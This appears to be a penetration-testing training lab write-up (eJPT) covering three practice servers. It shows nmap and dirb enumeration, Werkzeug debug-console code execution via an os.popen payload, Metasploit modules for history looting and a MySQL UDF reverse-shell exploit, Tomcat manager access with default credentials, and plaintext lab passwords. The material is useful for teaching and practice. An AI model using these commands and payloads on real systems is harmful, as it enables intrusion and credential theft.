Skip to main content

eJPT v1 LAB 3

Objective

In this lab environment, the user is going to get access to a Kali GUI instance. Three machines can be accessed using the tools installed on Kali on server1.ine.local, server2.ine.local and server3.ine.local.

Nmap

server1.ine.local

nmap -A -p- -T4 server1.ine.local

PORT   STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 0.9.6 (Python 2.7.13)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
MAC Address: 02:42:C0:E2:17:03 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6, Linux 5.0 - 5.3, Linux 5.4

server2.ine.local

nmap -A -p- -T4 server2.ine.local

PORT     STATE SERVICE VERSION
3306/tcp open mysql MySQL 5.5.62-0ubuntu0.14.04.1
| mysql-info:
| Protocol: 10
| Version: 5.5.62-0ubuntu0.14.04.1
| Thread ID: 46
| Capabilities flags: 63487
| Some Capabilities: Support41Auth, Speaks41ProtocolOld, Speaks41ProtocolNew, SupportsLoadDataLocal, ConnectWithDatabase, FoundRows, SupportsCompression, IgnoreSpaceBeforeParenthesis, ODBCClient, SupportsTransactions, IgnoreSigpipes, InteractiveClient, LongPassword, LongColumnFlag, DontAllowDatabaseTableColumn, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
| Status: Autocommit
| Salt: /,0Lm`zfmpmR3FEjc4vv
|_ Auth Plugin Name: mysql_native_password
MAC Address: 02:42:C0:E2:17:04 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6

server3.ine.local

nmap -A -p- -T4 server3.ine.local

PORT     STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e1:c9:8e:a0:ca:07:1d:e9:65:06:f2:8e:cd:51:fa:76 (RSA)
| 256 82:26:cc:66:66:5b:29:7a:82:85:95:c2:43:a0:d4:6a (ECDSA)
|_ 256 a9:85:9f:da:86:52:af:8d:ca:43:39:89:fa:9c:59:11 (ED25519)
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache-Coyote/1.1
MAC Address: 02:42:C0:E2:17:05 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Dirb

server1.ine.local

dirb http://server1.ine.local

+ http://server1.ine.local/console (CODE:200|SIZE:1479)

server3.ine.local

dirb http://server3.ine.local

+ http://server3.ine.local:8080/docs (CODE:302|SIZE:0)                                                                                                                                     
+ http://server3.ine.local:8080/examples (CODE:302|SIZE:0)
+ http://server3.ine.local:8080/host-manager (CODE:302|SIZE:0)
+ http://server3.ine.local:8080/index.html (CODE:200|SIZE:262)
+ http://server3.ine.local:8080/manager (CODE:302|SIZE:0)

server1.ine.local:80

/console

7881109a745947d14ba06acdd591664c.png

Taking into account that the web is running a Werkzeug app, we search some information about it. https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug And there is a way to exploit it. Insert this command into the console: __import__('os').popen('whoami').read();

09b6824661c7f35a2ecae2225cb4bb61.png

The RCE is here, and we're as root!

We also test if this machine is connected to other: __import__('os').popen('ip a').read(); But there aren't more interfaces connected.

Exploiting Werkzeug httpd 0.9.6

searchsploit wekzeug

8a5f4365dd35824c37de83d5eee97f94.png

Let's find if it suits for our version. cat /usr/share/exploitdb/exploits/python/remote/37814.rb

8a6de586fee0c3e388e63a6f1a7c625d.png

So it should work. Let's exploit it.

msfconsole -q
search wekzeug

432ba3efe9e33cdaa3cfb520cde57a60.png

99366f25ea58b0a8060b45d12a949464.png

There is available the check option.

65cd2105ba1311e3ccad292feb62e0db.png

1e92027782d8c2f15249f2f1bab6f386.png

We see in the /etc/passwd file that there are several users. Is possible to find the user's history file with the module enum_users_history.

background
use post/linux/gather/enum_users_history
set SESSION 1
run

9202b968681f91e794037eeff3643d07.png

55e4108800d1e656ed48ee86bd55b699.png

cat /root/.msf4/loot/20220621002930_default_192.215.57.3_linux.enum.users_927092.txt And we can see a pair of credentials.

cf0d55844d7ee80073fe7e596773c3ea.png

Now that we have credentials for mysql, let's try it on the server2.ine.local machine.

server2.ine.local:3306

mysql -h server2.ine.local -u root -pfArFLP29UySm4bZj

08365513e8586b10c486f54467352da4.png

f2a27c438a3009871317276fcf73e6b2.png

After finding in the databases, nothing with value is found. It could be an specific module for MySQL.

Checking for MySQL exploit modules in the Metasploit Framework

search mysql

752028bfd4790e44b4bde0e2ffd3a800.png

That is a MySQL exploit which will create a User-Defined Function (UDF) and allow us to run arbitrary commands using it.

use exploit/multi/mysql/mysql_udf_payload
show options

cf9eb4929346447ce1d5e893956546ba.png

set FORCE_UDF_UPLOAD true
set RHOSTS server2.ine.local
set USERNAME root
set PASSWORD fArFLP29UySm4bZj
set LHOST 192.111.10.2
set LPORT 4444
set TARGET 1
exploit

571359a099cb76e411c527cfc10d6d3b.png

491314dd70aee13ff10b45fa701563d5.png

server3.ine.local:8080

There is a Tomcat server.

/manager

After investigating here: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat , we try different possibilities.

40f05fc4c75c13f74799a22e9f43ba5c.png

There is a login form. If we hit cancel, this is shown:

457c20100546943b3c58e6b73ae93a17.png

So we try with this credentials and voilà! As seen int the mentioned website, after enter to the /manager web, there are different options. Let's try the Metasploit one.

835502e298251d3f86db100be5d5df7c.png

And also luck.

5afb65531ce63e06ff886e76d896cac8.png

be9e68583e55769e2cff2a1bf0ad87da.png

fdfb697e24df269509e820baa6b3f36a.png

But we aren't still as root, so lets escalate privileges. The user tomcat can read the /etc/passwd and the /etc/shadow files so we have two options: crack the hash and recover the password or enumerate further.

Let's explore Tomcat's conf folder where all the webserver configuration files are present.

cd conf
ls
tar -xvf conf.tar.gz
cat conf/tomcat-users.xml

58b6d19fa7a045357ae53308124600d0.png

And now we can login through SSH.

ssh robert@server3.ine.local
robert@1234567890!@#

28a471c3a3c91f26542342c51356e5d9.png